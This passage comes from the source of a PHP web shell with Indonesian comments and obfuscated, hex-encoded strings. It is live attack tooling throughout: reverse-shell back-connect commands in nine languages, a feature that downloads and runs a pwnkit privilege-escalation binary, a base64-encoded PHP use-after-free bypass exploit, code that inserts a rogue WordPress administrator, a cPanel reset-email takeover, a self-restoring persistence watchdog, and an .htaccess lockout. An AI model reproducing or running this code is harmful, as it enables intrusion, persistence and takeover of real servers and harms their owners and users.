placeholder="<?= $fungsi[9]() . "@" . $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]; ?>" autofocus></li> <li><input type="submit" name="terminal" value=">" class="btn-modal-close"></li> </ul> </form> </div> </div> </div> <?php endif; ?> <?php if ($_GET['terminal'] == "root") : ?> <div class="terminal"> <div class="terminal-container"> <div class="terminal-head"> <ul> <li id="terminal-title"><b><i class="fa-solid fa-terminal"></i> AUTO ROOT</b></li> <li><a href="" class="close-terminal"><i class="fa-solid fa-right-from-bracket"></i></a></li> </ul> </div> <div class="terminal-body"> <textarea name="" disabled><?php if ($fungsi[3]('.mad-root') && $fungsi[3]('pwnkit')) { $response = $fungsi[11]('.mad-root'); $r_text = explode(" ", $response); if ($r_text[0] == "uid=0(root)") { if (isset($_POST['submit-root'])) { echo cmd('./pwnkit "' . $_POST['root-terminal'] . ' 2>&1"'); } } else { echo "This Device Is Not Vulnerable\n"; echo cmd('cat /etc/os-release') . "\n"; echo "Kernel Version : " . suggest_exploit() . "\n"; } } else { $fungsi[24]('.mad-root'); } ?></textarea> <form action="" method="post"> <ul> <li><input type="text" name="root-terminal" class="terminal-input" placeholder="<?= "root" . "@" . $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]; ?>" autofocus></li> <li><input type="submit" name="submit-root" value=">" class="btn-modal-close"></li> </ul> </form> </div> </div> </div> <?php endif; ?> <?php if ($_GET['re'] == true) : ?> <div class="modal active"> <div class="modal-container"> <div class="modal-header"> <h3><b><i id="modal-title">Rename : <?= unx($_GET['re']) ?></i></b></h3> </div> <div class="modal-body"> <form action="" method="post"> <!-- TIDAK ADA id="modal-input" DI SINI! Karena sudah dipakai di modal utama --> <input type="text" name="renameFile" class="modal-create-input" placeholder="Masukkan nama baru..." autofocus> <div class="modal-btn-form"> <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <button class="btn-modal-close box-shadow close-btn-s">Close</button> </div> </form> </div> </div> </div> <?php endif; ?> <?php if ($_GET['ch'] == true) : ?> <div class="modal active"> <div class="modal-container"> <div class="modal-header"> <h3><b><i id="modal-title">Change Permission : <?= unx($_GET['ch']) ?></i></b></h3> </div> <div class="modal-body"> <form action="" method="post"> <!-- TIDAK ADA id="modal-input" DI SINI! --> <input type="number" name="chFile" class="modal-create-input" placeholder="0775" autofocus> <div class="modal-btn-form"> <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <button class="btn-modal-close box-shadow close-btn-s">Close</button> </div> </form> </div> </div> </div> <?php endif; ?> <script> $(document).ready(function() { // Fungsi menutup SEMUA overlay function closeEverything() { $('#modal-create').removeClass('active').hide(); $('#modal-rename').removeClass('active').hide(); $('#modal-chmod').removeClass('active').hide(); $('.code-editor').hide(); $('.terminal').hide(); } // CREATE FOLDER $('#create_folder').click(function(e) { e.preventDefault(); closeEverything(); // Tutup editor & modal lain $('#modal-create').addClass('active').show(); // Buka hanya modal create $('#modal-title').html('<i class="fa-solid fa-folder-plus"></i> Create Folder'); $('#modal-input').html('<input type="text" name="create_folder" class="modal-create-input" placeholder="Masukkan Nama Folder..." autofocus>'); }); // CREATE FILE $('#create_file').click(function(e) { e.preventDefault(); closeEverything(); $('#modal-create').addClass('active').show(); $('#modal-title').html('<i class="fa-solid fa-file-circle-plus"></i> Create File'); $('#modal-input').html('<input type="text" name="create_file" class="modal-create-input" placeholder="Masukkan Nama File (contoh: shell.php)..." autofocus>'); }); // LOCK FILE $('#lock-file').click(function(e) { e.preventDefault(); closeEverything(); $('#modal-create').addClass('active').show(); $('#modal-title').html('<i class="fa-solid fa-lock"></i> LOCK FILE'); $('#modal-input').html('<input type="text" name="lockfile" class="modal-create-input" placeholder="Your File Name" autofocus>'); }); // ADD USER $('#root-user').click(function(e) { e.preventDefault(); closeEverything(); $('#modal-create').addClass('active').show(); $('#modal-title').html('<i class="fa-solid fa-user-plus"></i> ADD USER'); $('#modal-input').html('<input type="text" name="add-username" class="modal-create-input" placeholder="Username" autofocus><br><br><input type="text" name="add-password" class="modal-create-input" placeholder="Password">'); }); // CREATE RDP $('#create-rdp').click(function(e) { e.preventDefault(); closeEverything(); $('#modal-create').addClass('active').show(); $('#modal-title').html(':: CREATE RDP'); $('#modal-input').html('<input type="text" name="add-rdp" class="modal-create-input" placeholder="Username" autofocus><br><br><input type="text" name="add-rdp-pass" class="modal-create-input" placeholder="Password">'); }); // CLOSE SEMUA MODAL $('#close-modal, .close-btn-s').click(function(e) { e.preventDefault(); closeEverything(); }); // CLOSE EDITOR $('#close-editor').click(function(e) { e.preventDefault(); $('.code-editor').hide(); }); // CLOSE TERMINAL $('.close-terminal').click(function(e) { e.preventDefault(); $('.terminal').hide(); }); // ========================================================== // FITUR BARU: OTOMATIS KELUAR (CLOSE) SETELAH SAVE EDITOR // ========================================================== $('form').on('submit', function(e) { // Deteksi apakah ini form editor (ada textarea bernama code-editor) if ($(this).find('textarea[name="code-editor"]').length > 0) { // Beri jeda 500ms agar halaman sempat reload & menyimpan setTimeout(function() { $('.code-editor').hide(); }, 500); } }); // TEKAN ENTER $(document).on('keypress', '.modal-create-input', function(e) { if (e.which == 13) { $(this).closest('form').submit(); } }); // CODEMIRROR var myTextarea = document.getElementById("code"); if (myTextarea) { var editor = CodeMirror.fromTextArea(myTextarea, { mode: "xml", lineNumbers: true, theme: "ayu-mirage", extraKeys: { "Ctrl-Space": "autocomplete" }, hintOptions: { completeSingle: false, }, }); } }); </script> </body> </html> <?php if (isset($_POST['submitwp'])) { $db_name = $_POST['db_name']; $db_user = $_POST['db_user']; $db_pass = $_POST['db_pass']; $db_host = $_POST['db_host']; $wp_user = $_POST['wp_user']; $wp_pass = password_hash($_POST['wp_pass'], PASSWORD_DEFAULT); $conn = new mysqli($db_host, $db_user, $db_pass, $db_name); if ($conn->connect_error) { failed(); die("Error Cug : " . $conn->connect_error); } $sql = "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES ('$wp_user', '$wp_pass', 'MadExploits', '', '', NOW(), '', 0, 'MadExploits')"; $sqltakeuserid = "SELECT ID FROM wp_users WHERE user_login = '$wp_user'"; if ($conn->query($sql) === TRUE && $conn->query($sqltakeuserid)) { $result = $conn->query($sqltakeuserid); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); $user_id = $row["ID"]; $sqlusermeta = "INSERT INTO wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES ('', $user_id, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')"; if ($conn->query($sqlusermeta) === TRUE) { Success(); } else { echo "Error: " . $sqlusermeta . "\n" . $conn->error; } } else { echo "User tidak ditemukan.\n"; } Success(); } else { echo "Error: " . $sql . "\n" . $conn->error; } $conn->close(); } if (isset($_GET['unlockshell'])) { if (cmd("killall -9 php") && cmd("pkill -9 php")) { success(); } else { failed(); } } if (isset($_POST['submit-bc'])) { $HostServer = $_POST['backconnect-host']; $PortServer = $_POST['backconnect-port']; if ($_POST['gecko-bc'] == "perl") { echo cmd('perl -e \'use Socket;$i="' . $HostServer . '";$p=' . $PortServer . ';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");' . $fungsi[16] . '("/bin/sh -i");};\''); } else if ($_POST['gecko-bc'] == "python") { echo cmd('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' . $HostServer . '",' . $PortServer . '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''); } else if ($_POST['gecko-bc'] == "ruby") { echo cmd('ruby -rsocket -e\'f=TCPSocket.open("' . $HostServer . '",' . $PortServer . ').to_i;' . $fungsi[16] . ' sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\''); } else if ($_POST['gecko-bc'] == "bash") { echo cmd('bash -i >& /dev/tcp/' . $HostServer . '/' . $PortServer . ' 0>&1'); } else if ($_POST['gecko-bc'] == "php") { echo cmd('php -r \'$sock=fsockopen("' . $HostServer . '",' . $PortServer . ');' . $fungsi[16] . '("/bin/sh -i <&3 >&3 2>&3");\''); } else if ($_POST['gecko-bc'] == "nc") { echo cmd('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' . $HostServer . ' ' . $PortServer . ' >/tmp/f'); } else if ($_POST['gecko-bc'] == "sh") { echo cmd('sh -i >& /dev/tcp/' . $HostServer . '/' . $PortServer . ' 0>&1'); } else if ($_POST['gecko-bc'] == "xterm") { echo cmd('xterm -display ' . $HostServer . ':' . $PortServer); } else if ($_POST['gecko-bc'] == "golang") { echo cmd('echo \'package main;import"os/' . $fungsi[16] . '";import"net";func main(){c,_:=net.Dial("tcp","' . $HostServer . ':' . $PortServer . '");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go'); } } if ($_GET['terminal'] == "bypasser") { if (!$fungsi[3]('.term-bypass') && $fungsi[4]($fungsi[0]())) { $connt = 'PD9waHAKZnVuY3Rpb24gcHduKCRjbWRkKSB7CiAgICBnbG9iYWwgJGFiYywgJGhlbHBlciwgJGJhY2t0cmFjZTsKCiAgICBjbGFzcyBWdWxuIHsKICAgICAgICBwdWJsaWMgJGE7CiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKSB7IAogICAgICAgICAgICBnbG9iYWwgJGJhY2t0cmFjZTsgCiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hKTsKICAgICAgICAgICAgJGJhY2t0cmFjZSA9IChuZXcgRXhjZXB0aW9uKS0+Z2V0VHJhY2UoKTsgIyA7KQogICAgICAgICAgICBpZighaXNzZXQoJGJhY2t0cmFjZVsxXVsnYXJncyddKSkgeyAjIFBIUCA+PSA3LjQKICAgICAgICAgICAgICAgICRiYWNrdHJhY2UgPSBkZWJ1Z19iYWNrdHJhY2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBjbGFzcyBIZWxwZXIgewogICAgICAgIHB1YmxpYyAkYSwgJGIsICRjLCAkZDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdHIycHRyKCYkc3RyLCAkcCA9IDAsICRzID0gOCkgewogICAgICAgICRhZGRyZXNzID0gMDsKICAgICAgICBmb3IoJGogPSAkcy0xOyAkaiA+PSAwOyAkai0tKSB7CiAgICAgICAgICAgICRhZGRyZXNzIDw8PSA4OwogICAgICAgICAgICAkYWRkcmVzcyB8PSBvcmQoJHN0clskcCskal0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGFkZHJlc3M7CiAgICB9CgogICAgZnVuY3Rpb24gcHRyMnN0cigkcHRyLCAkbSA9IDgpIHsKICAgICAgICAkb3V0ID0gIiI7CiAgICAgICAgZm9yICgkaT0wOyAkaSA8ICRtOyAkaSsrKSB7CiAgICAgICAgICAgICRvdXQgLj0gY2hyKCRwdHIgJiAweGZmKTsKICAgICAgICAgICAgJHB0ciA+Pj0gODsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRvdXQ7CiAgICB9CgogICAgZnVuY3Rpb24gd3JpdGUoJiRzdHIsICRwLCAkdiwgJG4gPSA4KSB7CiAgICAgICAgJGkgPSAwOwogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgJG47ICRpKyspIHsKICAgICAgICAgICAgJHN0clskcCArICRpXSA9IGNocigkdiAmIDB4ZmYpOwogICAgICAgICAgICAkdiA+Pj0gODsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gbGVhaygkYWRkciwgJHAgPSAwLCAkcyA9IDgpIHsKICAgICAgICBnbG9iYWwgJGFiYywgJGhlbHBlcjsKICAgICAgICB3cml0ZSgkYWJjLCAweDY4LCAkYWRkciArICRwIC0gMHgxMCk7CiAgICAgICAgJGxlYWsgPSBzdHJsZW4oJGhlbHBlci0+YSk7CiAgICAgICAgaWYoJHMgIT0gOCkgeyAkbGVhayAlPSAyIDw8ICgkcyAqIDgpIC0gMTsgfQogICAgICAgIHJldHVybiAkbGVhazsKICAgIH0KCiAgICBmdW5jdGlvbiBwYXJzZV9lbGYoJGJhc2UpIHsKICAgICAgICAkZV90eXBlID0gbGVhaygkYmFzZSwgMHgxMCwgMik7CgogICAgICAgICRlX3Bob2ZmID0gbGVhaygkYmFzZSwgMHgyMCk7CiAgICAgICAgJGVfcGhlbnRzaXplID0gbGVhaygkYmFzZSwgMHgzNiwgMik7CiAgICAgICAgJGVfcGhudW0gPSBsZWFrKCRiYXNlLCAweDM4LCAyKTsKCiAgICAgICAgZm9yKCRpID0gMDsgJGkgPCAkZV9waG51bTsgJGkrKykgewogICAgICAgICAgICAkaGVhZGVyID0gJGJhc2UgKyAkZV9waG9mZiArICRpICogJGVfcGhlbnRzaXplOwogICAgICAgICAgICAkcF90eXBlICA9IGxlYWsoJGhlYWRlciwgMCwgNCk7CiAgICAgICAgICAgICRwX2ZsYWdzID0gbGVhaygkaGVhZGVyLCA0LCA0KTsKICAgICAgICAgICAgJHBfdmFkZHIgPSBsZWFrKCRoZWFkZXIsIDB4MTApOwogICAgICAgICAgICAkcF9tZW1zeiA9IGxlYWsoJGhlYWRlciwgMHgyOCk7CgogICAgICAgICAgICBpZigkcF90eXBlID09IDEgJiYgJHBfZmxhZ3MgPT0gNikgeyAjIFBUX0xPQUQsIFBGX1JlYWRfV3JpdGUKICAgICAgICAgICAgICAgICMgaGFuZGxlIHBpZQogICAgICAgICAgICAgICAgJGRhdGFfYWRkciA9ICRlX3R5cGUgPT0gMiA/ICRwX3ZhZGRyIDogJGJhc2UgKyAkcF92YWRkcjsKICAgICAgICAgICAgICAgICRkYXRhX3NpemUgPSAkcF9tZW1zejsKICAgICAgICAgICAgfSBlbHNlIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA1KSB7ICMgUFRfTE9BRCwgUEZfUmVhZF9leGVjCiAgICAgICAgICAgICAgICAkdGV4dF9zaXplID0gJHBfbWVtc3o7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmKCEkZGF0YV9hZGRyIHx8ICEkdGV4dF9zaXplIHx8ICEkZGF0YV9zaXplKQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CgogICAgICAgIHJldHVybiBbJGRhdGFfYWRkciwgJHRleHRfc2l6ZSwgJGRhdGFfc2l6ZV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSB7CiAgICAgICAgbGlzdCgkZGF0YV9hZGRyLCAkdGV4dF9zaXplLCAkZGF0YV9zaXplKSA9ICRlbGY7CiAgICAgICAgZm9yKCRpID0gMDsgJGkgPCAkZGF0YV9zaXplIC8gODsgJGkrKykgewogICAgICAgICAgICAkbGVhayA9IGxlYWsoJGRhdGFfYWRkciwgJGkgKiA4KTsKICAgICAgICAgICAgaWYoJGxlYWsgLSAkYmFzZSA+IDAgJiYgJGxlYWsgLSAkYmFzZSA8ICRkYXRhX2FkZHIgLSAkYmFzZSkgewogICAgICAgICAgICAgICAgJGRlcmVmID0gbGVhaygkbGVhayk7CiAgICAgICAgICAgICAgICAjICdjb25zdGFudCcgY29uc3RhbnQgY2hlY2sKICAgICAgICAgICAgICAgIGlmKCRkZXJlZiAhPSAweDc0NmU2MTc0NzM2ZTZmNjMpCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0gZWxzZSBjb250aW51ZTsKCiAgICAgICAgICAgICRsZWFrID0gbGVhaygkZGF0YV9hZGRyLCAoJGkgKyA0KSAqIDgpOwogICAgICAgICAgICBpZigkbGVhayAtICRiYXNlID4gMCAmJiAkbGVhayAtICRiYXNlIDwgJGRhdGFfYWRkciAtICRiYXNlKSB7CiAgICAgICAgICAgICAgICAkZGVyZWYgPSBsZWFrKCRsZWFrKTsKICAgICAgICAgICAgICAgICMgJ2JpbjJoZXgnIGNvbnN0YW50IGNoZWNrCiAgICAgICAgICAgICAgICBpZigkZGVyZWYgIT0gMHg3ODY1NjgzMjZlNjk2MikKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfSBlbHNlIGNvbnRpbnVlOwoKICAgICAgICAgICAgcmV0dXJuICRkYXRhX2FkZHIgKyAkaSAqIDg7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGdldF9iaW5hcnlfYmFzZSgkYmluYXJ5X2xlYWspIHsKICAgICAgICAkYmFzZSA9IDA7CiAgICAgICAgJHN0YXJ0ID0gJGJpbmFyeV9sZWFrICYgMHhmZmZmZmZmZmZmZmZmMDAwOwogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMDAwOyAkaSsrKSB7CiAgICAgICAgICAgICRhZGRyID0gJHN0YXJ0IC0gMHgxMDAwICogJGk7CiAgICAgICAgICAgICRsZWFrID0gbGVhaygkYWRkciwgMCwgNyk7CiAgICAgICAgICAgIGlmKCRsZWFrID09IDB4MTAxMDI0NjRjNDU3ZikgeyAjIEVMRiBoZWFkZXIKICAgICAgICAgICAgICAgIHJldHVybiAkYWRkcjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRfc3lzdGVtKCRiYXNpY19mdW5jcykgewogICAgICAgICRhZGRyID0gJGJhc2ljX2Z1bmNzOwogICAgICAgIGRvIHsKICAgICAgICAgICAgJGZfZW50cnkgPSBsZWFrKCRhZGRyKTsKICAgICAgICAgICAgJGZfbmFtZSA9IGxlYWsoJGZfZW50cnksIDAsIDYpOwoKICAgICAgICAgICAgaWYoJGZfbmFtZSA9PSAweDZkNjU3NDczNzk3MykgeyAjIHN5c3RlbQogICAgICAgICAgICAgICAgcmV0dXJuIGxlYWsoJGFkZHIgKyA4KTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYWRkciArPSAweDIwOwogICAgICAgIH0gd2hpbGUoJGZfZW50cnkgIT0gMCk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyaWdnZXJfdWFmKCRhcmcpIHsKICAgICAgICAjIHN0cl9zaHVmZmxlIHByZXZlbnRzIG9wY2FjaGUgc3RyaW5nIGludGVybmluZwogICAgICAgICRhcmcgPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgNzkpKTsKICAgICAgICAkdnVsbiA9IG5ldyBWdWxuKCk7CiAgICAgICAgJHZ1bG4tPmEgPSAkYXJnOwogICAgfQoKICAgIGlmKHN0cmlzdHIoUEhQX09TLCAnV0lOJykpIHsKICAgICAgICBkaWUoJ1RoaXMgUG9DIGlzIGZvciAqbml4IHN5c3RlbXMgb25seS4nKTsKICAgIH0KCiAgICAkbl9hbGxvYyA9IDEwOyAjIGluY3JlYXNlIHRoaXMgdmFsdWUgaWYgVUFGIGZhaWxzCiAgICAkY29udGlndW91cyA9IFtdOwogICAgZm9yKCRpID0gMDsgJGkgPCAkbl9hbGxvYzsgJGkrKykKICAgICAgICAkY29udGlndW91c1tdID0gc3RyX3NodWZmbGUoc3RyX3JlcGVhdCgnQScsIDc5KSk7CgogICAgdHJpZ2dlcl91YWYoJ3gnKTsKICAgICRhYmMgPSAkYmFja3RyYWNlWzFdWydhcmdzJ11bMF07CgogICAgJGhlbHBlciA9IG5ldyBIZWxwZXI7CiAgICAkaGVscGVyLT5iID0gZnVuY3Rpb24gKCR4KSB7IH07CgogICAgaWYoc3RybGVuKCRhYmMpID09IDc5IHx8IHN0cmxlbigkYWJjKSA9PSAwKSB7CiAgICAgICAgZGllKCJVQUYgZmFpbGVkIik7CiAgICB9CgogICAgIyBsZWFrcwogICAgJGNsb3N1cmVfaGFuZGxlcnMgPSBzdHIycHRyKCRhYmMsIDApOwogICAgJHBocF9oZWFwID0gc3RyMnB0cigkYWJjLCAweDU4KTsKICAgICRhYmNfYWRkciA9ICRwaHBfaGVhcCAtIDB4Yzg7CgogICAgIyBmYWtlIHZhbHVlCiAgICB3cml0ZSgkYWJjLCAweDYwLCAyKTsKICAgIHdyaXRlKCRhYmMsIDB4NzAsIDYpOwoKICAgICMgZmFrZSByZWZlcmVuY2UKICAgIHdyaXRlKCRhYmMsIDB4MTAsICRhYmNfYWRkciArIDB4NjApOwogICAgd3JpdGUoJGFiYywgMHgxOCwgMHhhKTsKCiAgICAkY2xvc3VyZV9vYmogPSBzdHIycHRyKCRhYmMsIDB4MjApOwoKICAgICRiaW5hcnlfbGVhayA9IGxlYWsoJGNsb3N1cmVfaGFuZGxlcnMsIDgpOwogICAgaWYoISgkYmFzZSA9IGdldF9iaW5hcnlfYmFzZSgkYmluYXJ5X2xlYWspKSkgewogICAgICAgIGRpZSgiQ291bGRuJ3QgZGV0ZXJtaW5lIGJpbmFyeSBiYXNlIGFkZHJlc3MiKTsKICAgIH0KCiAgICBpZighKCRlbGYgPSBwYXJzZV9lbGYoJGJhc2UpKSkgewogICAgICAgIGRpZSgiQ291bGRuJ3QgcGFyc2UgRUxGIGhlYWRlciIpOwogICAgfQoKICAgIGlmKCEoJGJhc2ljX2Z1bmNzID0gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSkpIHsKICAgICAgICBkaWUoIkNvdWxkbid0IGdldCBiYXNpY19mdW5jdGlvbnMgYWRkcmVzcyIpOwogICAgfQoKICAgIGlmKCEoJHppZl9zeXN0ZW0gPSBnZXRfc3lzdGVtKCRiYXNpY19mdW5jcykpKSB7CiAgICAgICAgZGllKCJDb3VsZG4ndCBnZXQgemlmX3N5c3RlbSBhZGRyZXNzIik7CiAgICB9CgogICAgIyBmYWtlIGNsb3N1cmUgb2JqZWN0CiAgICAkZmFrZV9vYmpfb2Zmc2V0ID0gMHhkMDsKICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMTA7ICRpICs9IDgpIHsKICAgICAgICB3cml0ZSgkYWJjLCAkZmFrZV9vYmpfb2Zmc2V0ICsgJGksIGxlYWsoJGNsb3N1cmVfb2JqLCAkaSkpOwogICAgfQoKICAgICMgcHduCiAgICB3cml0ZSgkYWJjLCAweDIwLCAkYWJjX2FkZHIgKyAkZmFrZV9vYmpfb2Zmc2V0KTsKICAgIHdyaXRlKCRhYmMsIDB4ZDAgKyAweDM4LCAxLCA0KTsgIyBpbnRlcm5hbCBmdW5jIHR5cGUKICAgIHdyaXRlKCRhYmMsIDB4ZDAgKyAweDY4LCAkemlmX3N5c3RlbSk7ICMgaW50ZXJuYWwgZnVuYyBoYW5kbGVyCgogICAgKCRoZWxwZXItPmIpKCRjbWRkKTsKfQ=='; $fungsi[28](".term-bypass", $fungsi[32]($connt)); } } if (isset($_GET['lockshell'])) { $curFile = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"])); $TmpNames = $fungsi[31](); if (file_exists($TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-handler')) && file_exists($TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text'))) { cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text')); cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-handler')); } mkdir($TmpNames . "/.sessions"); cmd("cp $curFile " . $TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text')); chmod($curFile, 0444); $handler = ' <?php @ini_set("max_execution_time", 0); while (True){ if (!file_exists("' . __DIR__ . '")){ mkdir("' . __DIR__ . '"); } if (!file_exists("' . $fungsi[0]() . '/' . $curFile . '")){ $text = ' . $fungsi[33] . '(file_get_contents("' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text') . '")); file_put_contents("' . $fungsi[0]() . '/' . $curFile . '", ' . $fungsi[32] . '($text)); } if (gecko_perm("' . $fungsi[0]() . '/' . $curFile . '") != 0444){ chmod("' . $fungsi[0]() . '/' . $curFile . '", 0444); } if (gecko_perm("' . __DIR__ . '") != 0555){ chmod("' . __DIR__ . '", 0555); } } function gecko_perm($flename){ return substr(sprintf("%o", fileperms($flename)), -4); } '; $hndlers = $fungsi[28]($TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-handler') . "", $handler); if ($hndlers) { cmd(PHP_BINARY . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-handler') . ' > /dev/null 2>/dev/null &'); success(); } else { failed(); } } if (isset($_POST['gecko-up-submit'])) { $namaFilenya = $_FILES['gecko-upload']['name']; $tmpName = $_FILES['gecko-upload']['tmp_name']; if ($fungsi[29]($tmpName, $fungsi[0]() . "/" . $namaFilenya)) { success(); } else { failed(); } } if (isset($_GET['destroy'])) { $DOC_ROOT = $_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"]; $CurrentFile = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"])); if ($fungsi[4]($DOC_ROOT)) { $htaccess = ' <FilesMatch "\.(php|ph*|Ph*|PH*|pH*)$"> Deny from all </FilesMatch> <FilesMatch "^(' . $CurrentFile . '|index.php|wp-config.php|wp-includes.php)$"> Allow from all </FilesMatch> <FilesMatch "\.(jpg|png|gif|pdf|jpeg)$"> Allow from all </FilesMatch>'; $put_htt = $fungsi[28]($DOC_ROOT . "/.htaccess", $htaccess); if ($put_htt) { success(); } else { failed(); } } else { failed(); } } if (isset($_POST['save-editor'])) { $save = $fungsi[28]($fungsi[0]() . "/" . unx($_GET['f']), $_POST['code-editor']); if ($save) { success(); } else { failed(); } } if (isset($_GET['adminer'])) { $URL = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x69\x74\x68\x75\x62\x2e\x63\x6f\x6d\x2f\x76\x72\x61\x6e\x61\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2f\x72\x65\x6c\x65\x61\x73\x65\x73\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64\x2f\x76\x34\x2e\x38\x2e\x31\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2d\x34\x2e\x38\x2e\x31\x2e\x70\x68\x70"; if (!$fungsi[3]('adminer.php')) { $fungsi[28]("adminer.php", $fungsi[11]($URL)); echo '<meta http-equiv="refresh" content="0;url=?ayana=' . hx($fungsi[0]()) . '">'; } } if ($_GET['terminal'] == "root") { if (!$fungsi[3]('pwnkit') && $fungsi[4]($fungsi[0]())) { $fungsi[28]("pwnkit", $fungsi[11]("https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit")); cmd('chmod +x pwnkit'); echo cmd('./pwnkit "id" > .mad-root'); echo '<meta http-equiv="refresh" content="0;url=?ayana=' . hx($fungsi[0]()) . '&terminal=root">'; } } if (isset($_POST['submit-action'])) { $items = $_POST['check']; if ($_POST['gecko-select'] == "delete") { foreach ($items as $it) { $repl = str_replace("\\", "/", $fungsi[0]()); // Untuk Windows Path $fd = $repl . "/" . $it; if (is_dir($fd) || is_file($fd)) { $rmdir = unlinkDir($fd); $rmfile = $fungsi[24]($fd); if ($rmdir || $rmfile) { success(); } else if ($rmdir && $rmfile) { success(); } else { failed(); } } } } else if ($_POST['gecko-select'] == 'unzip') { foreach ($items as $it) { $repl = str_replace("\\", "/", $fungsi[0]()); // Untuk Windows Path $fd = $repl . "/" . $it; if (ExtractArchive($fd, $repl . '/') == true) { success(); } else { failed(); } } } else if ($_POST['gecko-select'] == 'zip') { foreach ($items as $it) { $repl = str_replace("\\", "/", $fungsi[0]()); // Untuk Windows Path $fd = $repl . "/" . $it; if ($fungsi[3]($fd)) { compressToZip($fd, pathinfo($fd, PATHINFO_FILENAME) . ".zip"); } } } } if (isset($_POST['submit'])) { if ($_POST['resetcp'] == true) { $emailCp = $_POST['resetcp']; $path0cp = dirname($_SERVER['DOCUMENT_ROOT']); $pathcp = $path0cp . "/.cpanel/contactinfo"; $contactinfo = ' "email" : "' . $emailCp . '" '; if ($fungsi[3]($pathcp)) { $fungsi[28]($pathcp, $contactinfo); echo '<meta http-equiv="refresh" content="0;url=' . $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['SERVER_NAME'] . ':2083/resetpass?start=1">'; } else { failed(); } } if ($_POST['create_folder'] == true) { $NamaFolder = $fungsi[12]($_POST['create_folder']); if ($NamaFolder) { success(); } else { failed(); } } else if ($_POST['create_file'] == true) { $namaFile = $fungsi[13]($_POST['create_file']); if ($namaFile) { success(); } else { failed(); } } else if ($_POST['renameFile'] == true) { $renameFile = $fungsi[15](unx($_GET['re']), $_POST['renameFile']); if ($renameFile) { success(); } else { failed(); } } else if ($_POST['chFile']) { $chFiles = $fungsi[30](unx($_GET['ch']), $_POST['chFile']); if ($chFiles) { success(); } else { failed(); } } else if (isset($_POST['add-username']) && isset($_POST['add-password'])) { if (!$fungsi[3]('pwnkit')) { cmd('wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit'); cmd('chmod +x pwnkit'); cmd('./pwnkit "id" > .mad-root'); echo '<meta http-equiv="refresh" content="0;url=?ayana=' . hx($fungsi[0]()) . '&rooting=True">'; } else if ($fungsi[3]('.mad-root')) { $response = 